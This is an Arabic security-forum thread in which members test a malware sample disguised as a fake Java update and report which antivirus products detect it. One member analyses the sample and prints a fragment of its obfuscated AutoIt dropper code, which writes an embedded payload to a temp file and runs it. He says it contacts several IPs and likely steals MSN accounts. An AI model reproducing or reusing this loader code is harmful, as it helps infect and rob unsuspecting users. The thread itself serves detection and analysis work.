عـيـنة Fake Java Updates 2016

[COMANDOS]

احتررررررررررررررررس من الهكر المفتررررررررس

[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

infected[/hide]
​

 

[ABDELHAK AS]

 

[imadeddine wissamimadeddine wissam is verified member.]

غير مكتشف من ESET

 

[أبو رمش]

و عليكم السلام و رحمة الله و بركاته .. ألف شكر لك
البتد فيندر بالفحص لا شي !
و عند التشغيل ...

 

[اليوناني]

السمول اوفيس 3


بعد فك الضغط نسف العينة
[hide]

[/hide]

 

[COMANDOS]

Good Fights Guys

 

[MagicianMiDo32]

تعجبني ..؛)
جاريے التجربہ ..... ..
إن شاء الله
~

 

[اليوناني]

Good Fights Guys

الظاهر ما طلعلوش اسنان للهكر المفترس

 

[COMANDOS]

الظاهر ما طلعلوش اسنان للهكر المفترس

البركة فيكم قضيته عليه

 

[nasa3]

الملف ليس مكتشف من النود
​

 

[COMANDOS]

الملف ليس مكتشف من النود
​

فرمطت واتكل علي الله

 

[اليوناني]

البركة فيكم قضيته عليه

البركة بالسمول اوفيس

 

[وليد الجمل]

الملف ليس مكتشف من النود
​

ياواقعه مش فايته ياوهدان

 

[nasa3]

فرمطت واتكل علي الله

ياواقعه مش فايته ياوهدان

محدش يشمت فى النود
كل الحكاية ان النود بيتعشا وجى علشان كده هو مش فاضى يكتشفه"اول مرة اكتب جملة كاملة باللهجة المصرية "​

 

[وليد الجمل]

محدش يشمت فى النود
كل الحكاية ان النود بيتعشا وجى علشان كده هو مش فاضى يكتشفه"اول مرة اكتب جملة كاملة باللهجة المصرية "​

وانا كمان بحب مصر جدا واهلها وعشان هيك بحب اتكلم مصرى لان ناسها طيبين ومهضومين كتير
اخوك وليد من المنصوره

 

[nasa3]

فرمطت واتكل علي الله

انا عملتلك موضوع سوف يعجبك عن ازالة برامج الحماية علشان تشيل برامج الحماية برحتك

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

 

[nasa3]

وانا كمان بحب مصر جدا واهلها وعشان هيك بحب اتكلم مصرى لان ناسها طيبين ومهضومين كتير
اخوك وليد من المنصوره

اخوك احمد من المحلة الكبرى
​

 

[black007]

بقول ايه ياعم كوماندوز هو مين الى قالك انى ده Fake Java Updates تحديث للجافا مزيف

هو علشان الاسم يعنى مكتوب يبقه علطول نطلق عليه زى اسمه

طب مانا ممكن اكتبلك كاسبر اسكاى 2017 هتقولى ده كاسبر مزيف علشان اسمه كده

الاخ صاحب العينه ( المبرمج ) استخدم نوع من انواع الهندسه الاجتماعيه لكى يخدعك عن طريق التسميه

ولكن انا لا الومك لان فعلا اى حد هيشوف الاسم هينخدع فيه

عموما الملف AutoIt مكتوب بداخله تبديل الاسترنج StringReplace

السورس للاطلاع

$dd = "OUVlCRJq"
Execute(StringReplace('FerfwierfwlerfweWerfwrite(erfwFierfwleOerfwpeerfwn(erfw@erfwTerfweerfwmperfwDirerfw &erfw "\data.berfwin", 1erfw8), StringerfwMid(FileReaerfwd(FileOperfwen(@AuterfwoItEerfwxe, 0)), StrerfwingerfwInerfwStr(FierfwleRead(FerfwileOpen(@AerfwutoItExerfwe, 0)erfw), $erfwdd) + StrinerfwgLeerfwn($dd)erfw))', "erfw", ""))
Execute(StringReplace('fwdeSfwdehfwdeellfwdeExecute(fwdechrfwde(fwde34fwde) fwde&fwde fwde

الملف ايضا يتصل بعده ايبيهات

يقوم بزرع عده ملفات منها بامتداد TXT وعلى الاغلب انه يقوم بجمع حسابات msn

ودى للجميع

 

[tiktoshitiktoshi is verified member.]

 

[ذي يزن]

الحصان 10 انترنت سيكيوريتي

بمجرد فك الضغط وبمحركه الخاص اقتنصه

وهاهو معزول